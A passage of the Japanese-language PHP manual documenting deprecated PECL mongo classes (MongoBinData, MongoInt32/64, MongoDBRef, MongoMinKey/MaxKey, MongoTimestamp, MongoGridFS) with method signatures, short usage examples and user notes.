const int UUID_RFC4122 = 4 ;
const int MD5 = 5 ;
const int CUSTOM = 128 ;
/* フィールド */
public string $bin ;
public int $type = 2 ;
/* メソッド */
public __construct ( string $data , int $type = 0 )
public __toString ( ) : string
}

定義済み定数

バイナリデータ型

MongoBinData::GENERIC
汎用的なバイナリデータ。
MongoBinData::FUNC
関数。
MongoBinData::BYTE_ARRAY
汎用的なバイナリデータ (非推奨。かわりに MongoBinData::GENERIC を使いましょう)。
MongoBinData::UUID
全体で一意な識別子 (非推奨。かわりに MongoBinData::UUID_RFC4122 を使いましょう)。
MongoBinData::UUID_RFC4122
全体で一意な識別子 (» RFC 4122 準拠)。
MongoBinData::MD5
MD5。
MongoBinData::CUSTOM
ユーザー定義型。

変更履歴

バージョン | 説明
1.5.0 | 定数 MongoBinData::GENERIC および MongoBinData::UUID_RFC4122 が追加されました。

目次

  • MongoBinData::__construct — Creates a new binary data object
  • MongoBinData::__toString — The string representation of this binary data object

User Contributed Notes

sander at steffann dot nl 27-May-2010 04:04
Note MongoBinData::CUSTOM has value 0x80, not 0xf0


Creates a new binary data object

  • ≪ MongoBinData
  • MongoBinData::__toString ≫
  • PHP Manual
  • MongoBinData
  • Creates a new binary data object

MongoBinData::__construct

(PECL mongo >= 0.8.1)

MongoBinData::__construct — Creates a new binary data object

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替として、以下が使えます。

  • MongoDB\BSON\Binary::__construct()

説明

public MongoBinData::__construct ( string $data , int $type = 0 )

Creates a new binary data object.

There are seven types of binary data currently recognized by the BSON spec, which are defined as class constants. For backwards compatibility, the PHP driver uses MongoBinData::BYTE_ARRAY as the default; however, this may change to MongoBinData::GENERIC in the future. Users are encouraged to specify a type instead of relying on the default.

パラメータ

data

Binary data.

type

Data type.

返り値

Returns a new binary data object.

変更履歴

バージョン | 説明
PECL mongo 1.5.0 | The default changed from 2 (MongoBinData::BYTE_ARRAY) to 0 (MongoBinData::GENERIC).
PECL mongo 1.2.11 | Emits E_DEPRECATED when the second argument is not used. The default value for type may change in the near future.

User Contributed Notes

There are no user contributed notes for this page.


The string representation of this binary data object

  • ≪ MongoBinData::__construct
  • MongoInt32 ≫
  • PHP Manual
  • MongoBinData
  • The string representation of this binary data object

MongoBinData::__toString

(PECL mongo >= 0.8.1)

MongoBinData::__toString — The string representation of this binary data object

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替として、以下が使えます。

  • MongoDB\BSON\Binary::getData()

説明

public MongoBinData::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the string "<Mongo Binary Data>". To access the contents of a MongoBinData, use the bin field.

User Contributed Notes

There are no user contributed notes for this page.


MongoInt32 クラス

(PECL mongo >=1.0.9)

警告

このクラスを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このクラスの代替は、新しい拡張モジュールには存在しません。

新しい拡張モジュールでは、整数の値に応じてデータベースの型を適切に選びます。

はじめに

このクラスを使うと、32 ビット整数値を 64 ビットシステム上のデータベースに保存することができます。

クラス概要

MongoInt32 {
/* フィールド */
public string $value ;
/* メソッド */
public __construct ( string $value )
public __toString ( ) : string
}

フィールド

value
32 ビット数値を文字列で表した値。たとえば 123 の value は "123" となります。

目次

  • MongoInt32::__construct — Creates a new 32-bit integer
  • MongoInt32::__toString — Returns the string representation of this 32-bit integer

User Contributed Notes

There are no user contributed notes for this page.


Creates a new 32-bit integer

  • ≪ MongoInt32
  • MongoInt32::__toString ≫
  • PHP Manual
  • MongoInt32
  • Creates a new 32-bit integer

MongoInt32::__construct

(PECL mongo >= 1.0.9)

MongoInt32::__construct — Creates a new 32-bit integer

このクラスを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このクラスの代替は、新しい拡張モジュールには存在しません。

Instead, the new extension chooses the appropriate database type depending on the integer's value.

説明

public MongoInt32::__construct ( string $value )

Creates a new 32-bit number with the given value.

パラメータ

value

A number.

返り値

Returns a new integer.

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of this 32-bit integer

  • ≪ MongoInt32::__construct
  • MongoInt64 ≫
  • PHP Manual
  • MongoInt32
  • Returns the string representation of this 32-bit integer

MongoInt32::__toString

(PECL mongo >= 1.0.9)

MongoInt32::__toString — Returns the string representation of this 32-bit integer

このクラスを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このクラスの代替は、新しい拡張モジュールには存在しません。

Instead, the new extension chooses the appropriate database type depending on the integer's value.

説明

public MongoInt32::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the string representation of this integer.

User Contributed Notes

There are no user contributed notes for this page.


MongoInt64 クラス

(PECL mongo >=1.0.9)

警告

このクラスを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このクラスの代替は、新しい拡張モジュールには存在しません。

新しい拡張モジュールでは、整数の値に応じてデータベースの型を適切に選びます。

はじめに

このクラスを使うと、64 ビット整数値を 32 ビットシステム上のデータベースに保存することができます。

クラス概要

MongoInt64 {
/* フィールド */
public string $value ;
/* メソッド */
public __construct ( string $value )
public __toString ( ) : string
}

フィールド

value
64 ビット数値を文字列で表した値。たとえば 123 の value は "123" となります。

目次

  • MongoInt64::__construct — Creates a new 64-bit integer
  • MongoInt64::__toString — Returns the string representation of this 64-bit integer

User Contributed Notes

There are no user contributed notes for this page.


Creates a new 64-bit integer

  • ≪ MongoInt64
  • MongoInt64::__toString ≫
  • PHP Manual
  • MongoInt64
  • Creates a new 64-bit integer

MongoInt64::__construct

(PECL mongo >= 1.0.9)

MongoInt64::__construct — Creates a new 64-bit integer

このクラスを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このクラスの代替は、新しい拡張モジュールには存在しません。

Instead, the new extension chooses the appropriate database type depending on the integer's value.

説明

public MongoInt64::__construct ( string $value )

Creates a new 64-bit number with the given value.

パラメータ

value

A number.

返り値

Returns a new integer.

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of this 64-bit integer

  • ≪ MongoInt64::__construct
  • MongoDBRef ≫
  • PHP Manual
  • MongoInt64
  • Returns the string representation of this 64-bit integer

MongoInt64::__toString

(PECL mongo >= 1.0.9)

MongoInt64::__toString — Returns the string representation of this 64-bit integer

このクラスを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このクラスの代替は、新しい拡張モジュールには存在しません。

Instead, the new extension chooses the appropriate database type depending on the integer's value.

説明

public MongoInt64::__toString ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the string representation of this integer.

User Contributed Notes

There are no user contributed notes for this page.


MongoDBRef クラス

(PECL mongo >=0.9.0)

警告

このクラスを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このクラスの代替は、新しい拡張モジュールには存在しません。

The concept of database references, and hence this class, has been deprecated in the database.

はじめに

このクラスを使用して、別々のコレクション内にあるオブジェクト間の軽量なリンクを作成します。

動機: 別のコレクションにあるドキュメントを参照する必要が出てきたとしましょう。 いちばん簡単な方法は、現在のドキュメントにフィールドを作ることです。 たとえば、"people" コレクションと "addresses" コレクションがあるときに 人物のドキュメントと住所のドキュメントをリンクさせたいことがあるでしょう。

例1 ドキュメントのリンク

<?php

$people = $db->people;
$addresses = $db->addresses;

$myAddress = array("line 1" => "123 Main Street",
    "line 2" => null,
    "city" => "Springfield",
    "state" => "Vermont",
    "country" => "USA");

// 住所を保存します
$addresses->insert($myAddress);

// その住所を参照する人物を保存します
$me = array("name" => "Fred", "address" => $myAddress['_id']);
$people->insert($me);

?>

そうすれば、誰かの住所を知りたくなったときには、 "people" コレクションに保存した MongoId を使って "addresses" コレクションを検索することができます。

もう少し一般化してみましょう。参照したいドキュメントがどのコレクション (あるいはどのデータベース) にあるかわからない場合です。こんな場合に MongoDBRef が使えます。 これは共通のフォーマットであり、すべてのドライバやデータベースが理解できるからです。

各個人が「好きなもの」リストを持っており、それはいろいろなコレクション ("hobbies", "sports", "books" など) にあるとしましょう。 MongoDBRef を使えば、それぞれがどのコレクションからのものかを管理できます。

例2 MongoDBRef リンクの作成

<?php

$people = $db->selectCollection("people");

// 鉄道模型は "hobbies" コレクションにあります
$trainRef = MongoDBRef::create("hobbies", $modelTrains['_id']);
// サッカーは "sports" コレクションにあります
$soccerRef = MongoDBRef::create("sports", $soccer['_id']);

// このドキュメントを取得したときに、"likes" 配列の各項目がどのドキュメントのものなのかを
// 知ることができます
$people->insert(array("name" => "Fred", "likes" => array($trainRef, $soccerRef)));

?>

データベース参照は、ハイパーリンクのようなものととらえることができます。 別のドキュメントに関する一意なアドレスを提供しますが、 それを読み込んだり自動的にリンク先/参照先をたどったりはしません。

データベース参照は単なる連想配列であり、 MongoDBRef のインスタンスではありません。 そのため、このクラスは他のデータ型クラスとは多少異なります。 このクラスに含まれているのは、 データベース参照を操作するための静的メソッドだけです。

クラス概要

MongoDBRef {
/* メソッド */
public static create ( string $collection , mixed $id , string $database = ? ) : array
public static get ( MongoDB $db , array $ref ) : array
public static isRef ( mixed $ref ) : bool
}

参考

MongoDB コアドキュメントの » データベース参照 を参照ください。

目次

  • MongoDBRef::create — 新しいデータベース参照を作成する
  • MongoDBRef::get — 参照が指すオブジェクトを取得する
  • MongoDBRef::isRef — 配列がデータベース参照か否かを調べる

User Contributed Notes

jaimz at vertigolabs dot org 05-Sep-2013 07:25
While you can create a DBRef object for a GridFS document, you CAN NOT load a document from GridFS using a DBRef.

This is dependent on the driver, not MongoDB.


新しいデータベース参照を作成する

  • ≪ MongoDBRef
  • MongoDBRef::get ≫
  • PHP Manual
  • MongoDBRef
  • 新しいデータベース参照を作成する

MongoDBRef::create

(PECL mongo >= 0.9.0)

MongoDBRef::create — 新しいデータベース参照を作成する

このクラスを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このクラスの代替は、新しい拡張モジュールには存在しません。

データベース参照という概念が非推奨になったため、このクラスも非推奨となりました。

説明

public static MongoDBRef::create ( string $collection , mixed $id , string $database = ? ) : array

データベースを指定しない場合は、現在のデータベースを使います。

パラメータ

collection

コレクションの名前 (データベース名を除く)。

id

リンクするオブジェクトの _id フィールド。

database

データベースの名前。

返り値

参照を返します。

例

例1 MongoDBRef::create() の例

これは、addresses コレクション内のドキュメントへのデータベース参照を作ります。 MongoCollection::getName() 関数は、 コレクションの名前 (データベース名を含みません) を返します。

<?php
$addresses = $db->addresses;
$people = $db->people;

// $address を保存します
$addresses->insert($address);

// 参照を作成します
$ref = MongoDBRef::create($addresses->getName(), $address['_id']);

// $person のフィールドを設定します
$person['address'] = $ref;
$people->save($person);
?>

参考

  • MongoDB::createDBRef() - データベース参照を作成する
  • MongoCollection::createDBRef() - データベースへの参照を作成する

User Contributed Notes

There are no user contributed notes for this page.


参照が指すオブジェクトを取得する

  • ≪ MongoDBRef::create
  • MongoDBRef::isRef ≫
  • PHP Manual
  • MongoDBRef
  • 参照が指すオブジェクトを取得する

MongoDBRef::get

(PECL mongo >= 0.9.0)

MongoDBRef::get — 参照が指すオブジェクトを取得する

このクラスを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このクラスの代替は、新しい拡張モジュールには存在しません。

データベース参照という概念が非推奨になったため、このクラスも非推奨となりました。

説明

public static MongoDBRef::get ( MongoDB $db , array $ref ) : array

パラメータ

db

使用するデータベース。

ref

取得したい参照。

返り値

参照が指すドキュメントを返します。ドキュメントが存在しない (参照が壊れている) 場合は null を返します。

例

例1 MongoCollection::createDBRef() の例

<?php

// $person を db から取得します
$person = $people->findOne();

// 住所を取得します
$address = MongoDBRef::get($people->db, $person['address']);

?>

参考

  • MongoDB::getDBRef() - データベース参照が指すドキュメントを取得する
  • MongoCollection::getDBRef() - データベース参照が指すドキュメントを取得する

User Contributed Notes

There are no user contributed notes for this page.


配列がデータベース参照か否かを調べる

  • ≪ MongoDBRef::get
  • MongoMinKey ≫
  • PHP Manual
  • MongoDBRef
  • 配列がデータベース参照か否かを調べる

MongoDBRef::isRef

(PECL mongo >= 0.9.0)

MongoDBRef::isRef — 配列がデータベース参照か否かを調べる

このクラスを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このクラスの代替は、新しい拡張モジュールには存在しません。

データベース参照という概念が非推奨になったため、このクラスも非推奨となりました。

説明

public static MongoDBRef::isRef ( mixed $ref ) : bool

このメソッドは実際に参照先をたどることはありません。そのため、参照が壊れているかどうかは判断できません。 単に、ref が正しいデータベース参照形式 (オブジェクトあるいは配列で、$ref フィールドおよび $id フィールドを持つ) であるかどうかを調べるだけです。

パラメータ

ref

調べたい配列あるいはオブジェクト。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


MongoMinKey クラス

(PECL mongo >= 1.0.2)

警告

このクラスを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このクラスの代替として、以下が使えます。

  • MongoDB\BSON\MinKey

はじめに

MongoMinKey はデータベースが使う特別な型で、 他のどんな BSON 型よりも小さいと評価されます。したがって、 特定のフィールドの昇順でクエリを並べ替えると、値が MongoMinKey であるドキュメントが最初となります。

MongoMinKey にはフィールドやメソッド、定数はありません。 データベースに追加するときに使う、単なる "いちばん小さい" 値です。

注意: MongoMinKey は、インデックス作成やシャーディングのために、MongoDB が内部的に利用するものです。 一般に、アプリケーション内でこのクラスを使う理由はありません。

クラス概要

MongoMinKey {
}

MongoMinKey の使用例

<?php

$collection->insert(array("task" => "lunch", "doBy" => new MongoMinKey));
$collection->insert(array("task" => "staff meeting", "doBy" => new MongoDate(strtotime("+4 days"))));

$cursor = $collection->find()->sort(array("doBy" => 1));

?>

このカーソルの中身は、まずlunchドキュメント、次にstaff meetingドキュメントとなります。 lunchドキュメントは、今後コレクションに何が追加されたとしても必ず最初になります ("doBy" フィールドが MongoMinKey である別のドキュメントが追加されない限りは)。

参考

  • MongoMaxKey

User Contributed Notes

There are no user contributed notes for this page.


MongoMaxKey クラス

(PECL mongo >= 1.0.2)

警告

このクラスを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このクラスの代替として、以下が使えます。

  • MongoDB\BSON\MaxKey

はじめに

MongoMaxKey はデータベースが使う特別な型で、 他のどんな BSON 型よりも大きいと評価されます。したがって、 特定のフィールドの昇順でクエリを並べ替えると、値が MongoMaxKey であるドキュメントが最後となります。

MongoMaxKey にはフィールドやメソッド、定数はありません。 データベースに追加するときに使う、単なる "いちばん大きい" 値です。

注意: MongoMaxKey は、インデックス作成やシャーディングのために、MongoDB が内部的に利用するものです。 一般に、アプリケーション内でこのクラスを使う理由はありません。

クラス概要

MongoMaxKey {
}

MongoMaxKey の使用例

<?php

$collection->insert(array("task" => "dishes", "doBy" => new MongoMaxKey));
$collection->insert(array("task" => "staff meeting", "doBy" => new MongoDate(strtotime("+4 days"))));

$cursor = $collection->find()->sort(array("doBy" => 1));

?>

このカーソルの中身は、まずstaff meetingドキュメント、次にdishesドキュメントとなります。 dishesドキュメントは、今後コレクションに何が追加されたとしても必ず最後になります ("doBy" フィールドが MongoMaxKey である別のドキュメントが追加されない限りは)。

参考

  • MongoMinKey

User Contributed Notes

There are no user contributed notes for this page.


MongoTimestamp クラス

(PECL mongo >=1.0.1)

警告

このクラスを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このクラスの代替として、以下が使えます。

  • MongoDB\BSON\Timestamp

はじめに

MongoTimestamp は、MongoDB がレプリケーションやシャーディングで使う内部的な型です。 タイムスタンプ (エポックからの経過秒数) 4 バイトと増分 4 で構成されています。 この型は、時刻や日付の値を (ドキュメントの "createdAt" フィールドなどに) 格納するために使うものではありません。

注意: MongoDB のレプリケーション oplog やシャーディングにかかわる書き込みをしているのでなければ、さっさと MongoDate のほうに行きましょう。 このクラスはあなたの求めているものではありません。

クラス概要

MongoTimestamp {
/* Fields */
public int $sec = 0 ;
public int $inc = 0 ;
/* メソッド */
public __construct ( int $sec = time() , int $inc = ? )
public __toString ( ) : string
}

目次

  • MongoTimestamp::__construct — Creates a new timestamp
  • MongoTimestamp::__toString — Returns a string representation of this timestamp

User Contributed Notes

There are no user contributed notes for this page.


Creates a new timestamp

  • ≪ MongoTimestamp
  • MongoTimestamp::__toString ≫
  • PHP Manual
  • MongoTimestamp
  • Creates a new timestamp

MongoTimestamp::__construct

(PECL mongo >= 1.0.1)

MongoTimestamp::__construct — Creates a new timestamp

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替として、以下が使えます。

  • MongoDB\BSON\Timestamp::__construct()

説明

public MongoTimestamp::__construct ( int $sec = time() , int $inc = ? )

Creates a new timestamp. If no parameters are given, the current time is used and the increment is automatically provided. The increment is set to 0 when the module is loaded and is incremented every time this constructor is called (without the $inc parameter passed in).

パラメータ

sec

Number of seconds since the epoch (i.e. 1 Jan 1970 00:00:00.000 UTC).

inc

Increment.

返り値

Returns this new timestamp.

参考

  • MongoTimestamp::__toString() - Returns a string representation of this timestamp

User Contributed Notes

There are no user contributed notes for this page.


Returns a string representation of this timestamp

  • ≪ MongoTimestamp::__construct
  • GridFS クラス群 ≫
  • PHP Manual
  • MongoTimestamp
  • Returns a string representation of this timestamp

MongoTimestamp::__toString

(PECL mongo >= 1.0.1)

MongoTimestamp::__toString — Returns a string representation of this timestamp

このメソッドを定義している拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。 このメソッドの代替として、以下が使えます。

  • MongoDB\BSON\Timestamp::__toString()

説明

public MongoTimestamp::__toString ( ) : string

Returns the "sec" field of this timestamp.

パラメータ

この関数にはパラメータはありません。

返り値

The seconds since epoch represented by this timestamp.

User Contributed Notes

There are no user contributed notes for this page.


GridFS クラス群

目次

  • MongoGridFS
  • MongoGridFSFile
  • MongoGridFSCursor

User Contributed Notes

There are no user contributed notes for this page.


MongoGridFS クラス

(PECL mongo >=0.9.0)

はじめに

データベースにファイルを格納したり、データベースからファイルを取得したりするためのユーティリティです。

GridFS はストレージの仕様で、すべてのドライバがこれを実装しています。 基本的に、これはふたつのコレクションを定義しています。 ファイルのメタデータ用の files、 そしてファイルの中身用の chunks です。 大きなファイルの場合は自動的に小さなチャンクに分割し、 各チャンクが chunks コレクションのドキュメントとして保存されます。

files コレクション内の各ドキュメントには、ファイル名とアップロードした日付、 そして md5 ハッシュが含まれています。 また、一意な _id フィールドも持っており、 これを使ってそのファイルの中身がある chunks コレクションを探すことができます。 chunks コレクション内の各ドキュメントには、バイナリデータのチャンクの他に そのファイルの _id フィールドにマッチする files_id フィールドが含まれ、さらに ファイル全体の中でそのチャンクがどの位置にあるのかという情報も含まれます。

files ドキュメントの内容は、たとえばこのようになります。

<?php
array("_id" => 123456789, "filename" => "foo.txt", "chunkSize" => 3, "length" => 12);
?>
そして chunks ドキュメントはこのようになります。
<?php
array("files_id" => 123456789, "n" => 0, "data" => new MongoBinData("abc"));
array("files_id" => 123456789, "n" => 1, "data" => new MongoBinData("def"));
array("files_id" => 123456789, "n" => 2, "data" => new MongoBinData("ghi"));
array("files_id" => 123456789, "n" => 3, "data" => new MongoBinData("jkl"));
?>
もちろん、デフォルトのチャンクサイズはもっと大きなものになります。 ただそれでは例が見づらくなるのでこのようにしました。

言語間の互換性

MongoGridFS で作ったファイルは他のどのドライバでも使えなければなりませんし、 逆もまたそうです。しかし中には、ファイルに関連するすべてのメタデータが "metadata" フィールドにあるという前提で動くドライバもあります。 他の言語を使う可能性があるのなら、見せたい情報を "metadata" フィールドに入れておくといいでしょう。たとえば、

<?php

$grid->storeFile("somefile.txt", array("date" => new MongoDate()));

?>

こう書くかわりに、下のようにするのです。

<?php

$grid->storeFile("somefile.txt", array("metadata" => array("date" => new MongoDate())));

?>

MongoGridFS ファミリー

MongoGridFS は files コレクションと chunks コレクションを表します。MongoGridFS は MongoCollection を継承しており、MongoGridFS のインスタンスは MongoCollection のすべてのメソッドにアクセスできます。 これは files コレクションに対する操作となります。

<?php

$grid = $db->getGridFS();
$grid->update(array("filename" => "foo"), $newObj); // files コレクションを更新します

?>

メタデータを操作する別の例を示します。

<?php

// ファイルを保存します
$id = $grid->storeFile("game.tgz");
$game = $grid->findOne();

// ダウンロードカウンタを追加します
$game->file['downloads'] = 0;
$grid->save($game->file);

// カウンタをひとつ加算します
$grid->update(array("_id" => $id), array('$inc' => array("downloads" => 1)));

?>

MongoGridFS のインスタンスから、 chunks コレクションにアクセスすることもできます。

<?php

  $chunks = $grid->chunks; // $chunks は通常の MongoCollection です
$chunks->insert(array("x" => 4));

?>

MongoGridFS のメソッドの中には MongoCollection のメソッドと同じ名前のものもあります。 これらのメソッドの挙動は微妙に異なります。 たとえば MongoGridFS::remove() は、条件にマッチするすべてのオブジェクトを files コレクションから削除し、 対応する chunks コレクションの中身も同時に削除します。

新しい何かを GridFS に格納する際にはいくつかのオプションがあります。 ファイル名がわかる場合は、次のように書くことができます。

<?php

$grid->storeFile($filename, array("whatever" => "metadata", "you" => "want"));

?>

ファイルではない文字列やバイト列の場合は、 MongoGridFS::storeBytes() を使うこともできます。

<?php

$grid->storeBytes($bytes, array("whatever" => "metadata", "you" => "want"));

?>

MongoGridFS コレクションへの問い合わせ結果として返されるのは MongoGridFSCursor です。これは通常の MongoCursor とほぼ同様の動きをしますが、連想配列ではなく MongoGridFSFiles を返すという点が異なります。

MongoGridFSFiles をディスクに書き出すには MongoGridFSFile::write() を、メモリに取り込むには MongoGridFSFile::getBytes() を使います。 自動的にチャンクをつなげるメソッドは今のところありませんが、 $grid->chunks コレクションに問い合わせて自分でつなげるのはきわめて簡単です。

MongoGridFSFile オブジェクトには、 ファイルのメタデータを格納する file フィールドが含まれます。

クラス概要

extends MongoCollection {
/* フィールド */
public MongoCollection $chunks = null ;
protected string $filesName = null ;
protected string $chunksName = null ;
/* メソッド */
public __construct ( MongoDB $db , string $prefix = "fs" , mixed $chunks = "fs" )
public delete ( mixed $id ) : bool|array
public drop ( ) : array
public find ( array $query = array() , array $fields = array() ) : MongoGridFSCursor
public findOne ( mixed $query = array() , mixed $fields = array() ) : MongoGridFSFile
public get ( mixed $id ) : MongoGridFSFile
public put ( string $filename , array $metadata = array() , array $options = array() ) : mixed
public remove ( array $criteria = array() , array $options = array() ) : bool|array
public storeBytes ( string $bytes , array $metadata = array() , array $options = array() ) : mixed
public storeFile ( string|resource $filename , array $metadata = array() , array $options = array() ) : mixed
public storeUpload ( string $name , array $metadata = ? ) : mixed
}

参考

  • MongoDB コアドキュメントの » GridFS
  • LightCube Solutions blog の記事 » ユーザーがアップロードした内容の保存
  • LightCube Solutions blog の記事 » メタデータの追加

目次

  • MongoGridFS::__construct — 新しいファイルコレクションを作成する
  • MongoGridFS::delete — ファイルとそのチャンクをデータベースから削除する
  • MongoGridFS::drop — ファイルコレクションおよびチャンクコレクションを削除する
  • MongoGridFS::find — ファイルを問い合わせる
  • MongoGridFS::findOne — 条件にマッチする単一のファイルを返す
  • MongoGridFS::get — ファイルをデータベースから取得する
  • MongoGridFS::put — ファイルをデータベースに格納する
  • MongoGridFS::remove — ファイルとそのチャンクをデータベースから削除する
  • MongoGridFS::storeBytes — バイト列をデータベースに格納する
  • MongoGridFS::storeFile — ファイルをデータベースに格納する
  • MongoGridFS::storeUpload — アップロードされたファイルをデータベースに格納する

User Contributed Notes

There are no user contributed notes for this page.


新しいファイルコレクションを作成する

  • ≪ MongoGridFS
  • MongoGridFS::delete ≫
  • PHP Manual
  • MongoGridFS
  • 新しいファイルコレクションを作成する

MongoGridFS::__construct

(PECL mongo >=0.9.0)

MongoGridFS::__construct — 新しいファイルコレクションを作成する

説明

public MongoGridFS::__construct ( MongoDB $db , string $prefix = "fs" , mixed $chunks = "fs" )

ファイルはふたつのコレクションにまたがって格納されます。 最初のコレクションにはファイルのメタ情報が、 そしてふたつめのコレクションには実際のファイルのチャンクが含まれます。 デフォルトでは、fs.files および fs.chunks は使用するコレクション名となります。

"fs" 以外のプレフィックスを使用するには引数をひとつ使用します。

$fs = new MongoGridFS($db, "myfiles");
これは、コレクション myfiles.files および myfiles.chunks を使用します。

パラメータ

db

データベース。

files

オプションのコレクション名プレフィックス。

User Contributed Notes

There are no user contributed notes for this page.


ファイルとそのチャンクをデータベースから削除する

  • ≪ MongoGridFS::__construct
  • MongoGridFS::drop ≫
  • PHP Manual
  • MongoGridFS
  • ファイルとそのチャンクをデータベースから削除する

MongoGridFS::delete

(PECL mongo >=1.0.8)

MongoGridFS::delete — ファイルとそのチャンクをデータベースから削除する

説明

public MongoGridFS::delete ( mixed $id ) : bool|array

注意:

MongoGridFS::delete() は利便性のためのメソッドで、 MongoGridFS::remove() に特定の criteria を指定して、デフォルトの options で呼び出すのと同じ動きをします。

パラメータ

id

削除したいファイルの _id。

返り値

書き込み確認 を適用している場合は、配列を返します。 この配列には、削除が成功したかどうか (files コレクションを尊重したもの) を含みます。 それ以外の場合は true を返します。

配列の各フィールドの意味については、 MongoCollection::insert() のドキュメントを参照ください。

エラー / 例外

"w" オプションが設定されていて書き込みが失敗した場合に MongoCursorException をスローします。

"w" オプションの値が 1 より大きく設定されていて、操作の完了までの時間が MongoCursor::$timeout ミリ秒をこえた場合に MongoCursorTimeoutException をスローします。サーバー上での操作は止めません。これはクライアント側でのタイムアウトです。MongoCollection::$wtimeout はミリ秒です。

User Contributed Notes

mshallop+php-at-gmail-dot-com 24-Jul-2014 01:09
Doc doesn't explicitly state what is returned.

Returns an array:

{
  n => {integer value}  (number of records deleted),
  connectionID => { integer value }
  err => null or error text/code
  ok => 1 or 0
}

Sample output:

{ n : 1, connectionID : 33132, err : null, ok : 1 }


ファイルコレクションおよびチャンクコレクションを削除する

  • ≪ MongoGridFS::delete
  • MongoGridFS::find ≫
  • PHP Manual
  • MongoGridFS
  • ファイルコレクションおよびチャンクコレクションを削除する

MongoGridFS::drop

(PECL mongo >=0.9.0)

MongoGridFS::drop — ファイルコレクションおよびチャンクコレクションを削除する

説明

public MongoGridFS::drop ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

データベースの応答を返します。

User Contributed Notes

There are no user contributed notes for this page.


ファイルを問い合わせる

  • ≪ MongoGridFS::drop
  • MongoGridFS::findOne ≫
  • PHP Manual
  • MongoGridFS
  • ファイルを問い合わせる

MongoGridFS::find

(PECL mongo >=0.9.0)

MongoGridFS::find — ファイルを問い合わせる

説明

public MongoGridFS::find
 ( array $query = array()
, array $fields = array()
) : MongoGridFSCursor

パラメータ

query

クエリ。

fields

返したいフィールド。

返り値

MongoGridFSCursor を返します。

User Contributed Notes

There are no user contributed notes for this page.


条件にマッチする単一のファイルを返す

  • ≪ MongoGridFS::find
  • MongoGridFS::get ≫
  • PHP Manual
  • MongoGridFS
  • 条件にマッチする単一のファイルを返す

MongoGridFS::findOne

(PECL mongo >=0.9.0)

MongoGridFS::findOne — 条件にマッチする単一のファイルを返す

説明

public MongoGridFS::findOne
 ( mixed $query = array()
, mixed $fields = array()
) : MongoGridFSFile

パラメータ

query

探したいファイル名あるいは条件。

返り値

MongoGridFSFile、あるいは null を返します。

例

例1 MongoGridFS::findOne() の例

この例は、MongoGridFS からファイルを検索する方法を示します。

<?php

$downloads = $mongo->my_db->getGridFS('downloads');

$downloads->storeFile('filename.tgz');

$download = $downloads->findOne('filename.tgz'); // MongoGridFSFile のインスタンス

print_r($download);
?>

ファイルの挙動についての詳細な情報は MongoGridFSFile を参照ください。

上の例の出力は、 たとえば以下のようになります。

MongoGridFSFile Object
(
    [file] => Array
        (
            [_id] => MongoId Object
                (
                )

            [filename] => filename.tgz
            [uploadDate] => MongoDate Object
                (
                    [sec] => 1274288014
                    [usec] => 467000
                )

            [chunkSize] => 262144
            [md5] => d41d8cd98f00b204e9800998ecf8427e
        )

    [gridfs:protected] => MongoGridFS Object
        (
            [chunks] => MongoCollection Object
                (
                )

            [filesName:protected] => downloads.files
            [chunksName:protected] => downloads.chunks
        )

)

User Contributed Notes

There are no user contributed notes for this page.


ファイルをデータベースから取得する

  • ≪ MongoGridFS::findOne
  • MongoGridFS::put ≫
  • PHP Manual
  • MongoGridFS
  • ファイルをデータベースから取得する

MongoGridFS::get

(PECL mongo >=1.0.8)

MongoGridFS::get — ファイルをデータベースから取得する

説明

public MongoGridFS::get ( mixed $id ) : MongoGridFSFile

パラメータ

id

探したいファイルの _id。

返り値

見つかった場合はそのファイル、見つからない場合は null を返します。

User Contributed Notes

There are no user contributed notes for this page.


ファイルをデータベースに格納する

  • ≪ MongoGridFS::get
  • MongoGridFS::remove ≫
  • PHP Manual
  • MongoGridFS
  • ファイルをデータベースに格納する

MongoGridFS::put

(PECL mongo >=1.0.8)

MongoGridFS::put — ファイルをデータベースに格納する

説明

public MongoGridFS::put ( string $filename , array $metadata = array() , array $options = array() ) : mixed

注意:

MongoGridFS::put() は、MongoGridFS::storeFile() のエイリアスです。

パラメータ

filename

格納するファイルの名前。

metadata

格納するファイルに含めるその他のメタデータフィールド。

注意:

これらのフィールドは、ドライバが自動生成したフィールドも上書きします。詳しい説明は、MongoDB コアドキュメントの » files collection を参照ください。この挙動の現実的な使い道としては、ファイルの chunkSize や _id を独自に指定する場合などがあります。

options

chunks および files コレクションに対して追加操作を実行するときの、オプションの配列。 オプションの意味については、MongoCollection::insert() を参照ください。

返り値

格納したファイルドキュメントの _id を返します。metadata パラメータで _id を明示的に指定していない場合は、自動生成した MongoId となります。

エラー / 例外

